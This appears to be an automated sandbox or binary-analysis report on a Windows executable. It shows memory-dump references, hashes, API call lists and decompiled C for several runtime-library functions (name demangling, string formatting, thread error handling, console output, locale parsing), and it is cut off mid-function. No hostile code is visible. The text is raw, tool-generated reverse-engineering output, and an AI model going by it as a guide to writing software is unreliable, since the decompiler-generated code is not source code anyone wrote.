0x00c5c182
0x00c5c187
0x00c5c187
0x00c5c18c
0x00000000
0x00c5c18c
0x00c5c16b
0x00c5c16b
0x00c5c16e
0x00c5c171
0x00000000
0x00c5c171
0x00c5c058
0x00c5c15e
0x00000000
0x00c5c15e
0x00c5c060
0x00c5c14c
0x00c5c151
0x00c5c156
0x00000000
0x00c5c156
0x00c5c066
0x00c5c06b
0x00000000
0x00000000
0x00c5c074
0x00000000
0x00000000
0x00c5c07a
0x00c5c083
0x00c5c089
0x00c5c08e
0x00c5c093
0x00c5c09a
0x00c5c0b1
0x00c5c0b6
0x00c5c0b8
0x00c5c0b8
0x00c5c0c0
0x00c5c0c3
0x00c5c0c6
0x00c5c0cb
0x00c5c0d0
0x00c5c0d3
0x00c5c0d6
0x00c5c0dc
0x00c5c0df
0x00c5c0e9
0x00c5c0f1
0x00c5c0f4
0x00c5c0f9
0x00c5c0fc
0x00c5c0ff
0x00c5c104
0x00c5c107
0x00c5c0e1
0x00c5c0e1
0x00c5c0e2
0x00c5c0e2
0x00c5c10d
0x00c5c11a
0x00c5c121
0x00c5c131
0x00c5c123
0x00c5c128
0x00c5c128
0x00c5c136
0x00c5c139
0x00c5c139
0x00c5c10f
0x00c5c110
0x00c5c110
0x00c5c13c
0x00c5c145
0x00c5c147
0x00000000

APIs

DName::DName.LIBVCRUNTIME ref: 00C5C0A4

Part of subcall function 00C59051: __aulldvrm.LIBCMT ref: 00C59082

DName::operator+.LIBCMT ref: 00C5C0B1
DName::operator=.LIBVCRUNTIME ref: 00C5C131
DName::DName.LIBVCRUNTIME ref: 00C5C151

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: NameName::$Name::operator+Name::operator=__aulldvrm
String ID:
API String ID: 2448499823-0
Opcode ID: 0dba2bf047d130137014db51fe0b527436dff70b42c48897ec861726877c69b7
Instruction ID: e794a3874a0bfc1af25f00544946f1fb814a06624f117b08e2d6b65245f45060
Opcode Fuzzy Hash: 0dba2bf047d130137014db51fe0b527436dff70b42c48897ec861726877c69b7
Instruction Fuzzy Hash: 41519279900795EFCB15CF54C8D0AAEBBB4FF06302F148096E8115B362D7B09AC9DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C81950, Relevance: 6.1, APIs: 4, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C81950(intOrPtr* _a4, intOrPtr _a8, intOrPtr _a16) {
				intOrPtr _t14;
				intOrPtr _t15;
				intOrPtr _t17;
				intOrPtr _t36;
				intOrPtr* _t38;
				intOrPtr _t39;

				_t38 = _a4;
				if(_t38 != 0) {
					__eflags =  *_t38;
					if( *_t38 != 0) {
						_t14 = E00C828F9(_a16, 0, _t38, 0xffffffff, 0, 0, 0, 0);
						__eflags = _t14;
						if(__eflags != 0) {
							_t36 = _a8;
							__eflags = _t14 -  *((intOrPtr*)(_t36 + 0xc));
							if(_t14 <=  *((intOrPtr*)(_t36 + 0xc))) {
								L10:
								_t15 = E00C828F9(_a16, 0, _t38, 0xffffffff,  *((intOrPtr*)(_t36 + 8)),  *((intOrPtr*)(_t36 + 0xc)), 0, 0);
								__eflags = _t15;
								if(__eflags != 0) {
									 *((intOrPtr*)(_t36 + 0x10)) = _t15 - 1;
									_t17 = 0;
									__eflags = 0;
								} else {
									E00C61CF3(GetLastError());
									_t17 =  *((intOrPtr*)(E00C61D29(__eflags)));
								}
								L13:
								L14:
								return _t17;
							}
							_t17 = E00C81A92(_t36, _t14);
							__eflags = _t17;
							if(_t17 != 0) {
								goto L13;
							}
							goto L10;
						}
						E00C61CF3(GetLastError());
						_t17 =  *((intOrPtr*)(E00C61D29(__eflags)));
						goto L14;
					}
					_t39 = _a8;
					__eflags =  *((intOrPtr*)(_t39 + 0xc));
					if( *((intOrPtr*)(_t39 + 0xc)) != 0) {
						L5:
						 *((char*)( *((intOrPtr*)(_t39 + 8)))) = 0;
						_t17 = 0;
						 *((intOrPtr*)(_t39 + 0x10)) = 0;
						goto L14;
					}
					_t17 = E00C81A92(_t39, 1);
					__eflags = _t17;
					if(_t17 != 0) {
						goto L14;
					}
					goto L5;
				}
				E00C81AD4(_a8);
				return 0;
			}

0x00c81956
0x00c8195b
0x00c8196f
0x00c81972
0x00c819a4
0x00c819ac
0x00c819ae
0x00c819c7
0x00c819ca
0x00c819cd
0x00c819db
0x00c819ea
0x00c819f2
0x00c819f4
0x00c81a0d
0x00c81a10
0x00c81a10
0x00c819f6
0x00c819fd
0x00c81a08
0x00c81a08
0x00c81a12
0x00c81a13
0x00000000
0x00c81a13
0x00c819d2
0x00c819d7
0x00c819d9
0x00000000
0x00000000
0x00000000
0x00c819d9
0x00c819b7
0x00c819c2
0x00000000
0x00c819c2
0x00c81974
0x00c81977
0x00c8197a
0x00c8198d
0x00c81990
0x00c81992
0x00c81994
0x00000000
0x00c81994
0x00c81980
0x00c81985
0x00c81987
0x00000000
0x00000000
0x00000000
0x00c81987
0x00c81960
0x00000000

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbe92eaba9a7ea943865ac149de76c7b3fe4d9fd8d748fe3d5343a9d505b4ca7
Instruction ID: 523d154be12b0d32a2674a1177443189d18d362325bc217751876361f93b9398
Opcode Fuzzy Hash: dbe92eaba9a7ea943865ac149de76c7b3fe4d9fd8d748fe3d5343a9d505b4ca7
Instruction Fuzzy Hash: 4421B071204205BFDB24BF66DC80AAAB7ECEF003797184615FD3696151E731ED42A7A4

Uniqueness

Uniqueness Score: -1.00%

Function 00C52DE0, Relevance: 6.1, APIs: 4, Instructions: 81
stringCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00C52DE0(intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				int _v12;
				WCHAR* _v16;
				intOrPtr _v20;
				short _v22;
				short _v24;
				short _v26;
				short _v28;
				short _v30;
				char _v32;

				_v20 = 0xa;
				_v32 = 0x25;
				_v30 = 0x73;
				_v28 = 0x5c;
				_v26 = 0x25;
				_v24 = 0x73;
				_v22 = 0;
				_v8 = 0;
				while(_v8 < _v20) {
					_t15 = 0xc99614 + _v8 * 0xc; // 0x80000002
					if(_a4 !=  *_t15) {
						_v8 = _v8 + 1;
						continue;
					}
					break;
				}
				_t17 = 0xc9961c + _v8 * 0xc; // 0xc99564
				_v12 = lstrlenW( *_t17);
				if(_a8 != 0) {
					_v12 = _v12 + lstrlenW(_a8) + 1;
					_push(_v12 + _v12 + 2);
					_v16 = E00C53330(_v12 + _v12 + 2);
					_push(_a8);
					_t39 = 0xc9961c + _v8 * 0xc; // 0xc99564
					E00C54AB0(_v16, _v12 + 1,  &_v32,  *_t39);
					return _v16;
				}
				_push(_v12 + _v12 + 2);
				_v16 = E00C53330(_v12 + _v12 + 2);
				_t25 = 0xc9961c + _v8 * 0xc; // 0xc99564
				lstrcpyW(_v16,  *_t25);
				return _v16;
			}

0x00c52de6
0x00c52df2
0x00c52dfb
0x00c52e04
0x00c52e0d
0x00c52e16
0x00c52e1c
0x00c52e20
0x00c52e32
0x00c52e41
0x00c52e47
0x00c52e2f
0x00000000
0x00c52e2f
0x00000000
0x00c52e49
0x00c52e51
0x00c52e5e
0x00c52e65
0x00c52ea5
0x00c52eaf
0x00c52eb8
0x00c52ebe
0x00c52ec3
0x00c52ed9
0x00000000
0x00c52ee1
0x00c52e6e
0x00c52e77
0x00c52e7e
0x00c52e89
0x00000000

APIs

lstrlenW.KERNEL32(00C99564), ref: 00C52E58
lstrcpyW.KERNEL32 ref: 00C52E89
lstrlenW.KERNEL32(00000000), ref: 00C52E98
_swprintf.LIBCMTD ref: 00C52ED9

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$_swprintflstrcpy
String ID:
API String ID: 1928704061-0
Opcode ID: be25a3be5377568022cf85367b3af04213c11c91a1b9b8fae0405f508e63b0a5
Instruction ID: e2e22d82b6c110b3cee2b41c3f6e1e0aa7236a4524f6159bc215e09c54f5853f
Opcode Fuzzy Hash: be25a3be5377568022cf85367b3af04213c11c91a1b9b8fae0405f508e63b0a5
Instruction Fuzzy Hash: D5315C75D00208EFCB08CF98C489AAEB7B5FF48305F10C19DE519AB261D735AB49DB89

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B398, Relevance: 6.1, APIs: 4, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00C7B398(void* __ecx, void* __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				long _t3;
				intOrPtr _t5;
				long _t6;
				intOrPtr _t9;
				long _t10;
				signed int _t39;
				signed int _t40;
				void* _t43;
				void* _t49;
				signed int _t51;
				signed int _t53;
				signed int _t54;
				long _t56;
				long _t60;
				long _t61;
				void* _t65;

				_t49 = __edx;
				_t43 = __ecx;
				_t60 = GetLastError();
				_t2 =  *0xca30e0; // 0x6
				_t67 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E00C86EEE(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t51 = E00C806FB(1, 0x364);
						_pop(_t43);
						__eflags = _t51;
						if(__eflags != 0) {
							__eflags = E00C86EEE(__eflags,  *0xca30e0, _t51);
							if(__eflags != 0) {
								E00C7B00D(_t51, 0xca4834);
								E00C7CA6E(0);
								_t65 = _t65 + 0xc;
								goto L13;
							} else {
								_t39 = 0;
								E00C86EEE(__eflags,  *0xca30e0, 0);
								_push(_t51);
								goto L9;
							}
						} else {
							_t39 = 0;
							__eflags = 0;
							E00C86EEE(0,  *0xca30e0, 0);
							_push(0);
							L9:
							E00C7CA6E();
							_pop(_t43);
							goto L4;
						}
					}
				} else {
					_t51 = E00C86EAF(_t67, _t2);
					if(_t51 == 0) {
						_t2 =  *0xca30e0; // 0x6
						goto L6;
					} else {
						if(_t51 != 0xffffffff) {
							L13:
							_t39 = _t51;
						} else {
							L3:
							_t39 = 0;
							L4:
							_t51 = _t39;
						}
					}
				}
				SetLastError(_t60);
				asm("sbb edi, edi");
				_t53 =  ~_t51 & _t39;
				if(_t53 == 0) {
					E00C7A820(_t39, _t43, _t49, _t53, _t60);
					asm("int3");
					_t5 =  *0xca30e0; // 0x6
					_push(_t60);
					__eflags = _t5 - 0xffffffff;
					if(__eflags == 0) {
						L22:
						_t6 = E00C86EEE(__eflags, _t5, 0xffffffff);
						__eflags = _t6;
						if(_t6 == 0) {
							goto L31;
						} else {
							_t60 = E00C806FB(1, 0x364);
							_pop(_t43);
							__eflags = _t60;
							if(__eflags != 0) {
								__eflags = E00C86EEE(__eflags,  *0xca30e0, _t60);
								if(__eflags != 0) {
									E00C7B00D(_t60, 0xca4834);
									E00C7CA6E(0);
									_t65 = _t65 + 0xc;
									goto L29;
								} else {
									E00C86EEE(__eflags,  *0xca30e0, _t21);
									_push(_t60);
									goto L25;
								}
							} else {
								E00C86EEE(__eflags,  *0xca30e0, _t20);
								_push(_t60);
								L25:
								E00C7CA6E();
								_pop(_t43);
								goto L31;
							}
						}
					} else {
						_t60 = E00C86EAF(__eflags, _t5);
						__eflags = _t60;
						if(__eflags == 0) {
							_t5 =  *0xca30e0; // 0x6
							goto L22;
						} else {
							__eflags = _t60 - 0xffffffff;
							if(_t60 == 0xffffffff) {
								L31:
								E00C7A820(_t39, _t43, _t49, _t53, _t60);
								asm("int3");
								_push(_t39);
								_push(_t60);
								_push(_t53);
								_t61 = GetLastError();
								_t9 =  *0xca30e0; // 0x6
								__eflags = _t9 - 0xffffffff;
								if(__eflags == 0) {
									L38:
									_t10 = E00C86EEE(__eflags, _t9, 0xffffffff);
									__eflags = _t10;
									if(_t10 == 0) {
										goto L35;
									} else {
										_t54 = E00C806FB(1, 0x364);
										__eflags = _t54;
										if(__eflags != 0) {
											__eflags = E00C86EEE(__eflags,  *0xca30e0, _t54);
											if(__eflags != 0) {
												E00C7B00D(_t54, 0xca4834);
												E00C7CA6E(0);
												goto L45;
											} else {
												_t40 = 0;
												E00C86EEE(__eflags,  *0xca30e0, 0);
												_push(_t54);
												goto L41;
											}
										} else {
											_t40 = 0;
											__eflags = 0;
											E00C86EEE(0,  *0xca30e0, 0);
											_push(0);
											L41:
											E00C7CA6E();
											goto L36;
										}
									}
								} else {
									_t54 = E00C86EAF(__eflags, _t9);
									__eflags = _t54;
									if(__eflags == 0) {
										_t9 =  *0xca30e0; // 0x6
										goto L38;
									} else {
										__eflags = _t54 - 0xffffffff;
										if(_t54 != 0xffffffff) {
											L45:
											_t40 = _t54;
										} else {
											L35:
											_t40 = 0;
											__eflags = 0;
											L36:
											_t54 = _t40;
										}
									}
								}
								SetLastError(_t61);
								asm("sbb edi, edi");
								_t56 =  ~_t54 & _t40;
								__eflags = _t56;
								return _t56;
							} else {
								L29:
								__eflags = _t60;
								if(_t60 == 0) {
									goto L31;
								} else {
									return _t60;
								}
							}
						}
					}
				} else {
					return _t53;
				}
			}

0x00c7b398
0x00c7b398
0x00c7b3a3
0x00c7b3a5
0x00c7b3aa
0x00c7b3ad
0x00c7b3cb
0x00c7b3ce
0x00c7b3d3
0x00c7b3d5
0x00000000
0x00c7b3d7
0x00c7b3e3
0x00c7b3e6
0x00c7b3e7
0x00c7b3e9
0x00c7b40e
0x00c7b410
0x00c7b429
0x00c7b430
0x00c7b435
0x00000000
0x00c7b412
0x00c7b412
0x00c7b41b
0x00c7b420
0x00000000
0x00c7b420
0x00c7b3eb
0x00c7b3eb
0x00c7b3eb
0x00c7b3f4
0x00c7b3f9
0x00c7b3fa
0x00c7b3fa
0x00c7b3ff
0x00000000
0x00c7b3ff
0x00c7b3e9
0x00c7b3af
0x00c7b3b5
0x00c7b3b9
0x00c7b3c6
0x00000000
0x00c7b3bb
0x00c7b3be
0x00c7b438
0x00c7b438
0x00c7b3c0
0x00c7b3c0
0x00c7b3c0
0x00c7b3c2
0x00c7b3c2
0x00c7b3c2
0x00c7b3be
0x00c7b3b9
0x00c7b43b
0x00c7b443
0x00c7b445
0x00c7b447
0x00c7b44f
0x00c7b454
0x00c7b455
0x00c7b45a
0x00c7b45b
0x00c7b45e
0x00c7b478
0x00c7b47b
0x00c7b480
0x00c7b482
0x00000000
0x00c7b484
0x00c7b490
0x00c7b493
0x00c7b494
0x00c7b496
0x00c7b4b9
0x00c7b4bb
0x00c7b4d2
0x00c7b4d9
0x00c7b4de
0x00000000
0x00c7b4bd
0x00c7b4c4
0x00c7b4c9
0x00000000
0x00c7b4c9
0x00c7b498
0x00c7b49f
0x00c7b4a4
0x00c7b4a5
0x00c7b4a5
0x00c7b4aa
0x00000000
0x00c7b4aa
0x00c7b496
0x00c7b460
0x00c7b466
0x00c7b468
0x00c7b46a
0x00c7b473
0x00000000
0x00c7b46c
0x00c7b46c
0x00c7b46f
0x00c7b4e9
0x00c7b4e9
0x00c7b4ee
0x00c7b4f1
0x00c7b4f2
0x00c7b4f3
0x00c7b4fa
0x00c7b4fc
0x00c7b501
0x00c7b504
0x00c7b522
0x00c7b525
0x00c7b52a
0x00c7b52c
0x00000000
0x00c7b52e
0x00c7b53a
0x00c7b53e
0x00c7b540
0x00c7b565
0x00c7b567
0x00c7b580
0x00c7b587
0x00000000
0x00c7b569
0x00c7b569
0x00c7b572
0x00c7b577
0x00000000
0x00c7b577
0x00c7b542
0x00c7b542
0x00c7b542
0x00c7b54b
0x00c7b550
0x00c7b551
0x00c7b551
0x00000000
0x00c7b556
0x00c7b540
0x00c7b506
0x00c7b50c
0x00c7b50e
0x00c7b510
0x00c7b51d
0x00000000
0x00c7b512
0x00c7b512
0x00c7b515
0x00c7b58f
0x00c7b58f
0x00c7b517
0x00c7b517
0x00c7b517
0x00c7b517
0x00c7b519
0x00c7b519
0x00c7b519
0x00c7b515
0x00c7b510
0x00c7b592
0x00c7b59a
0x00c7b59c
0x00c7b59c
0x00c7b5a3
0x00c7b471
0x00c7b4e1
0x00c7b4e1
0x00c7b4e3
0x00000000
0x00c7b4e5
0x00c7b4e8
0x00c7b4e8
0x00c7b4e3
0x00c7b46f
0x00c7b46a
0x00c7b449
0x00c7b44e
0x00c7b44e

APIs

GetLastError.KERNEL32(?,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B39D
_free.LIBCMT ref: 00C7B3FA
_free.LIBCMT ref: 00C7B430
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C619DB,?,?,00000000,?,00C65755,?), ref: 00C7B43B

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: a4ea303aae47ef48e86414ced84cfd2bb0dbfbe14d17364ac3e23770b4e0073e
Instruction ID: dc8f6cefc8e289302876ec8a520101b3fbecbd3d16de9b1d8fb621775c9740c5
Opcode Fuzzy Hash: a4ea303aae47ef48e86414ced84cfd2bb0dbfbe14d17364ac3e23770b4e0073e
Instruction Fuzzy Hash: D611A9323406456BD71177B5AC95F3F216A9FC1BB9B388224F53DD71E2EF218D116220

Uniqueness

Uniqueness Score: -1.00%

Function 00C7B4EF, Relevance: 6.1, APIs: 4, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00C7B4EF(void* __ecx) {
				intOrPtr _t2;
				signed int _t3;
				signed int _t13;
				signed int _t18;
				long _t21;

				_t21 = GetLastError();
				_t2 =  *0xca30e0; // 0x6
				_t24 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L6:
					_t3 = E00C86EEE(__eflags, _t2, 0xffffffff);
					__eflags = _t3;
					if(_t3 == 0) {
						goto L3;
					} else {
						_t18 = E00C806FB(1, 0x364);
						__eflags = _t18;
						if(__eflags != 0) {
							__eflags = E00C86EEE(__eflags,  *0xca30e0, _t18);
							if(__eflags != 0) {
								E00C7B00D(_t18, 0xca4834);
								E00C7CA6E(0);
								goto L13;
							} else {
								_t13 = 0;
								E00C86EEE(__eflags,  *0xca30e0, 0);
								_push(_t18);
								goto L9;
							}
						} else {
							_t13 = 0;
							__eflags = 0;
							E00C86EEE(0,  *0xca30e0, 0);
							_push(0);
							L9:
							E00C7CA6E();
							goto L4;
						}
					}
				} else {
					_t18 = E00C86EAF(_t24, _t2);
					if(_t18 == 0) {
						_t2 =  *0xca30e0; // 0x6
						goto L6;
					} else {
						if(_t18 != 0xffffffff) {
							L13:
							_t13 = _t18;
						} else {
							L3:
							_t13 = 0;
							L4:
							_t18 = _t13;
						}
					}
				}
				SetLastError(_t21);
				asm("sbb edi, edi");
				return  ~_t18 & _t13;
			}

0x00c7b4fa
0x00c7b4fc
0x00c7b501
0x00c7b504
0x00c7b522
0x00c7b525
0x00c7b52a
0x00c7b52c
0x00000000
0x00c7b52e
0x00c7b53a
0x00c7b53e
0x00c7b540
0x00c7b565
0x00c7b567
0x00c7b580
0x00c7b587
0x00000000
0x00c7b569
0x00c7b569
0x00c7b572
0x00c7b577
0x00000000
0x00c7b577
0x00c7b542
0x00c7b542
0x00c7b542
0x00c7b54b
0x00c7b550
0x00c7b551
0x00c7b551
0x00000000
0x00c7b556
0x00c7b540
0x00c7b506
0x00c7b50c
0x00c7b510
0x00c7b51d
0x00000000
0x00c7b512
0x00c7b515
0x00c7b58f
0x00c7b58f
0x00c7b517
0x00c7b517
0x00c7b517
0x00c7b519
0x00c7b519
0x00c7b519
0x00c7b515
0x00c7b510
0x00c7b592
0x00c7b59a
0x00c7b5a3

APIs

GetLastError.KERNEL32(?,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C7B4F4
_free.LIBCMT ref: 00C7B551
_free.LIBCMT ref: 00C7B587
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C7B592

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 59b6061ba9a049f17347864e6c559b0d15347504e8656b365a4fadb5166e8dc1
Instruction ID: 052f89addc0b629caa6134e8b3a337426bc04020b0666834ed52ac764f8f250e
Opcode Fuzzy Hash: 59b6061ba9a049f17347864e6c559b0d15347504e8656b365a4fadb5166e8dc1
Instruction Fuzzy Hash: 6B11E5363002046BC790777AAC85F2F266ADBC5BB9B348228F53DD31D1EB32CE116220

Uniqueness

Uniqueness Score: -1.00%

Function 00C93E87, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C93E87(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0xca3920, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E00C93E70();
					E00C93E24();
					_t13 = WriteConsoleW( *0xca3920, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x00c93ea4
0x00c93ea8
0x00c93eb5
0x00c93eba
0x00c93ed5
0x00c93ed5
0x00c93edb

APIs

WriteConsoleW.KERNEL32(00C548CE,?,00CA15B0,00000000,00C548CE,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE), ref: 00C93E9E
GetLastError.KERNEL32(?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000,00C548CE,?,00C8F07E,00C548CE), ref: 00C93EAA

Part of subcall function 00C93E70: CloseHandle.KERNEL32(FFFFFFFE,00C93EBA,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000,00C548CE), ref: 00C93E80

___initconout.LIBCMT ref: 00C93EBA

Part of subcall function 00C93E24: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00C93E53,00C91BB6,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000), ref: 00C93E37

WriteConsoleW.KERNEL32(00C548CE,?,00CA15B0,00000000,?,00C91BC9,00C548CE,00000001,00C548CE,00C548CE,?,00C8EB2A,00000000,?,00C548CE,00000000), ref: 00C93ECF

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2c1d6a6e20f312b188fe94749d60a7cfcee1e201f544d06fbd87dd986cbd9ef7
Instruction ID: 1114488a6f1efc3b9dca27ef24a54c6270511f8b834bd0ca8d85f7454f995747
Opcode Fuzzy Hash: 2c1d6a6e20f312b188fe94749d60a7cfcee1e201f544d06fbd87dd986cbd9ef7
Instruction Fuzzy Hash: 52F09836501194BBCF221FA59C0CB9E7E66FB497A1B044055FA2996130DB328A20EB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C784CA, Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 355
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00C784CA(signed int __edx, signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16, intOrPtr _a20, signed int* _a24) {
				signed int _v8;
				intOrPtr _v20;
				char _v180;
				short _v202;
				short _v204;
				short _v206;
				signed short _v208;
				signed short _v210;
				signed short _v212;
				char _v468;
				signed int* _v472;
				signed int _v476;
				signed int _v480;
				signed int _v484;
				signed int* _v488;
				signed int _v492;
				signed int _v496;
				char _v512;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t83;
				signed int _t91;
				signed int _t92;
				signed int _t94;
				signed int _t95;
				signed int _t97;
				signed int _t101;
				signed short _t102;
				signed short _t104;
				signed int _t106;
				void* _t109;
				signed int _t110;
				signed int _t114;
				intOrPtr _t119;
				signed int _t127;
				signed int _t129;
				signed short _t133;
				signed int _t135;
				char* _t136;
				signed int _t137;
				intOrPtr _t140;
				signed int _t144;
				signed int _t145;
				signed int _t146;
				signed int _t147;
				signed int _t148;
				signed int _t149;
				signed int _t150;
				signed int _t152;
				signed int* _t153;
				void* _t154;
				signed int* _t160;
				void* _t162;
				void* _t164;
				intOrPtr* _t176;
				signed int _t177;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				intOrPtr* _t185;
				signed int* _t189;
				signed int _t191;
				signed int _t192;
				signed int* _t193;
				signed int* _t195;
				signed int _t196;
				signed int _t197;
				void* _t198;

				_t191 = __edx;
				_t83 =  *0xca3098; // 0x75d6936a
				_v8 = _t83 ^ _t197;
				_t149 = _a8;
				_t195 = _a4;
				_v488 = _a24;
				_t86 = 0;
				_v496 = _t149;
				_t192 = _a16;
				if(_t195 == 0) {
					L70:
					return E00C572B1(_t86, _t149, _v8 ^ _t197, _t191, _t192, _t195);
				} else {
					_v484 = 0;
					if( *_t195 != 0x43 || _t195[0] != 0) {
						_t89 = E00C7B398(_t154, _t191) + 0x50;
						_t13 = _t89 + 0x18; // -56
						_v472 = _t13;
						_t15 = _t89 + 0x122; // 0xd2
						_t150 = _t15;
						_t16 = _t89 + 0x1c; // -52
						_v476 = _t150;
						_v480 = _t16;
						E00C77D90(_t150,  &_v512, _t192, _t192, _a20, E00C7B398(_t154, _t191) + 0x50);
						_t193 = _t195;
						_t191 = 0;
						__eflags = 0;
						_t160 =  &(_t193[0]);
						do {
							_t91 =  *_t193;
							_t193 =  &(_t193[0]);
							__eflags = _t91;
						} while (_t91 != 0);
						_t192 = _t193 - _t160 >> 1;
						_v492 = _t192;
						__eflags = _t192 - 0x83;
						if(_t192 >= 0x83) {
							L24:
							_t92 = E00C873E8();
							__eflags = _t92;
							_t152 = 0 | _t92 == 0x00000000;
							_t94 = E00C78285(_t152, _t160, _t191, _t192,  &_v468, _t195);
							_pop(_t162);
							__eflags = _t94;
							if(_t94 != 0) {
								_t153 = _v472;
								goto L33;
							} else {
								_t136 =  &_v468;
								__eflags = _t152;
								_t153 = _v472;
								_push(_t136);
								_push(_t153);
								_push(_t136);
								if(__eflags == 0) {
									_t137 = E00C85965(_t162, _t191, __eflags);
								} else {
									_t137 = E00C862FB(_t162, _t191, __eflags);
								}
								_t198 = _t198 + 0xc;
								__eflags = _t137;
								if(_t137 == 0) {
									L33:
									_t95 = E00C87145(_t195);
									_push(_t195);
									__eflags = _t95;
									if(_t95 == 0) {
										_push( &_v468);
										_t97 = E00C7945F();
										_pop(_t164);
										__eflags = _t97;
										if(_t97 == 0) {
											L67:
											__eflags = 0;
											_t149 = 0;
											goto L68;
										} else {
											_t101 = E00C87145( &_v180);
											__eflags = _t101;
											if(_t101 == 0) {
												goto L67;
											} else {
												_t102 = _v212;
												__eflags = _t102;
												if(_t102 == 0) {
													_t104 = E00C79430(_t164,  &_v180);
													goto L55;
												} else {
													_t182 = _t102 & 0x0000ffff;
													__eflags = _t182 - 0x41 - 0x19;
													if(_t182 - 0x41 <= 0x19) {
														_t182 = _t182 + 0x20;
														__eflags = _t182;
													}
													_t191 = 0x38;
													__eflags = _t182 - 0x75;
													if(_t182 != 0x75) {
														L50:
														__eflags = _v206 - 0x2d;
														if(_v206 != 0x2d) {
															goto L67;
														} else {
															__eflags = _v204 - _t191;
															if(_v204 != _t191) {
																goto L67;
															} else {
																__eflags = _v202;
																if(_v202 != 0) {
																	goto L67;
																} else {
																	goto L53;
																}
															}
														}
													} else {
														_t183 = _v210 & 0x0000ffff;
														__eflags = _t183 - 0x41 - 0x19;
														if(_t183 - 0x41 <= 0x19) {
															_t183 = _t183 + 0x20;
															__eflags = _t183;
														}
